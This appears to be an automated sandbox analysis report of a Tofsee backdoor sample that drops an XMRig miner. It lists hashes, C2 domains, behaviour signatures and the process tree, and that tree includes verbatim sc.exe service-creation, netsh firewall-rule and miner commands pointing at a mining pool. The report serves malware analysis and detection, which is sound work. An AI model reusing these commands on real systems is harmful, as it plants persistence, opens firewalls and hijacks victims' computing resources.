Analysis

  • max time kernel
    131s
  • max time network
    153s
  • platform
    windows7_x64
  • resource
    win7-20230220-en
  • resource tags

    arch:x64arch:x86image:win7-20230220-enlocale:en-usos:windows7-x64system
  • submitted
    13-04-2023 20:55

General

  • Target

    file.exe

  • Size

    276KB

  • MD5

    80ee506064ae22c8ea34ffb2431f2488

  • SHA1

    0c5a71beb97751a781203d598e97e5a746df62df

  • SHA256

    77b5c60d25ee308a2c29e9363e105bfc42b3f0c6eb92285b620454f9c952d1eb

  • SHA512

    39be470cc5e8f170296371c7cfb7727b402e4c8b6e1ea6d66fe4195aa83f090cb9cf17d941dbb15214ae9e0a20f0015a190eb35a563067f2d645ea3f21609a6c

  • SSDEEP

    3072:/3czQeDsw9vCdirSqJ4GGueYDDwOtDUeblv8zMrnwg5o6JP3WJ0nWFok:GQmstdiDJ4xuHDwiDpd8z+w56J+Dak

Malware Config

Extracted

Family

tofsee

C2

vanaheim.cn

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 7 IoCs
  • Creates new service(s) 1 TTPs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2000
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\wugipdjj\
      2⤵
        PID:1164
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\dttqcoec.exe" C:\Windows\SysWOW64\wugipdjj\
        2⤵
          PID:928
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create wugipdjj binPath= "C:\Windows\SysWOW64\wugipdjj\dttqcoec.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:1324
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description wugipdjj "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:696
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start wugipdjj
          2⤵
          • Launches sc.exe
          PID:1704
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:1364
      • C:\Windows\SysWOW64\wugipdjj\dttqcoec.exe
        C:\Windows\SysWOW64\wugipdjj\dttqcoec.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:524
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:1600
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:632

      Network

      MITRE ATT&CK Enterprise v6

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Temp\dttqcoec.exe

        Filesize

        11.8MB

        MD5

        f544f985b6d71ed5a595aaebc075b6c3

        SHA1

        394cd3135882579a9eda9d4b767a3571c17e70a8

        SHA256

        2fe056de0f57bb5e89f95cb03637c38b26ebc5ed37086587826826eff7125bd1

        SHA512

        43bb6ac3d10e26888eca0b415eaee2b2f2e544865a6c630e672a9ff6c9d35b09cee0fcb06abd4a80159a6c41dc1ea25f5400331a0cb9468003c23ded297d0cbe

      • C:\Windows\SysWOW64\wugipdjj\dttqcoec.exe

        Filesize

        11.8MB

        MD5

        f544f985b6d71ed5a595aaebc075b6c3

        SHA1

        394cd3135882579a9eda9d4b767a3571c17e70a8

        SHA256

        2fe056de0f57bb5e89f95cb03637c38b26ebc5ed37086587826826eff7125bd1

        SHA512

        43bb6ac3d10e26888eca0b415eaee2b2f2e544865a6c630e672a9ff6c9d35b09cee0fcb06abd4a80159a6c41dc1ea25f5400331a0cb9468003c23ded297d0cbe

      • memory/524-66-0x0000000000400000-0x00000000004B3000-memory.dmp

        Filesize

        716KB

      • memory/632-111-0x0000000000190000-0x0000000000281000-memory.dmp

        Filesize

        964KB

      • memory/632-124-0x0000000000190000-0x0000000000281000-memory.dmp

        Filesize

        964KB

      • memory/632-123-0x0000000000190000-0x0000000000281000-memory.dmp

        Filesize

        964KB

      • memory/632-122-0x0000000000190000-0x0000000000281000-memory.dmp

        Filesize

        964KB

      • memory/632-121-0x0000000000190000-0x0000000000281000-memory.dmp

        Filesize

        964KB

      • memory/632-120-0x0000000000190000-0x0000000000281000-memory.dmp

        Filesize

        964KB

      • memory/632-119-0x0000000000190000-0x0000000000281000-memory.dmp

        Filesize

        964KB

      • memory/632-116-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

        Filesize

        4KB

      • memory/632-112-0x0000000000190000-0x0000000000281000-memory.dmp

        Filesize

        964KB

      • memory/1600-89-0x0000000000120000-0x0000000000130000-memory.dmp

        Filesize

        64KB

      • memory/1600-95-0x0000000000120000-0x0000000000130000-memory.dmp

        Filesize

        64KB

      • memory/1600-78-0x0000000000120000-0x0000000000130000-memory.dmp

        Filesize

        64KB

      • memory/1600-82-0x0000000000120000-0x0000000000130000-memory.dmp

        Filesize

        64KB

      • memory/1600-81-0x0000000000120000-0x0000000000130000-memory.dmp

        Filesize

        64KB

      • memory/1600-83-0x0000000000120000-0x0000000000130000-memory.dmp

        Filesize

        64KB

      • memory/1600-84-0x0000000000120000-0x0000000000130000-memory.dmp

        Filesize

        64KB

      • memory/1600-86-0x0000000000120000-0x0000000000130000-memory.dmp

        Filesize

        64KB

      • memory/1600-85-0x0000000000120000-0x0000000000130000-memory.dmp

        Filesize

        64KB

      • memory/1600-88-0x0000000000120000-0x0000000000130000-memory.dmp

        Filesize

        64KB

      • memory/1600-63-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/1600-91-0x0000000000120000-0x0000000000130000-memory.dmp

        Filesize

        64KB

      • memory/1600-90-0x0000000000120000-0x0000000000130000-memory.dmp

        Filesize

        64KB

      • memory/1600-87-0x0000000000120000-0x0000000000130000-memory.dmp

        Filesize

        64KB

      • memory/1600-92-0x0000000000120000-0x0000000000130000-memory.dmp

        Filesize

        64KB

      • memory/1600-93-0x0000000000120000-0x0000000000130000-memory.dmp

        Filesize

        64KB

      • memory/1600-94-0x0000000000120000-0x0000000000130000-memory.dmp

        Filesize

        64KB

      • memory/1600-75-0x0000000000110000-0x0000000000116000-memory.dmp

        Filesize

        24KB

      • memory/1600-96-0x0000000000120000-0x0000000000130000-memory.dmp

        Filesize

        64KB

      • memory/1600-97-0x0000000000120000-0x0000000000130000-memory.dmp

        Filesize

        64KB

      • memory/1600-98-0x0000000000460000-0x0000000000465000-memory.dmp

        Filesize

        20KB

      • memory/1600-101-0x0000000000460000-0x0000000000465000-memory.dmp

        Filesize

        20KB

      • memory/1600-102-0x00000000058D0000-0x0000000005CDB000-memory.dmp

        Filesize

        4.0MB

      • memory/1600-105-0x00000000058D0000-0x0000000005CDB000-memory.dmp

        Filesize

        4.0MB

      • memory/1600-106-0x0000000000470000-0x0000000000477000-memory.dmp

        Filesize

        28KB

      • memory/1600-110-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/1600-74-0x00000000019B0000-0x0000000001BBF000-memory.dmp

        Filesize

        2.1MB

      • memory/1600-71-0x00000000019B0000-0x0000000001BBF000-memory.dmp

        Filesize

        2.1MB

      • memory/1600-69-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/1600-68-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/1600-67-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/1600-61-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/1600-62-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

        Filesize

        4KB

      • memory/2000-56-0x0000000000220000-0x0000000000233000-memory.dmp

        Filesize

        76KB

      • memory/2000-58-0x0000000000400000-0x00000000004B3000-memory.dmp

        Filesize

        716KB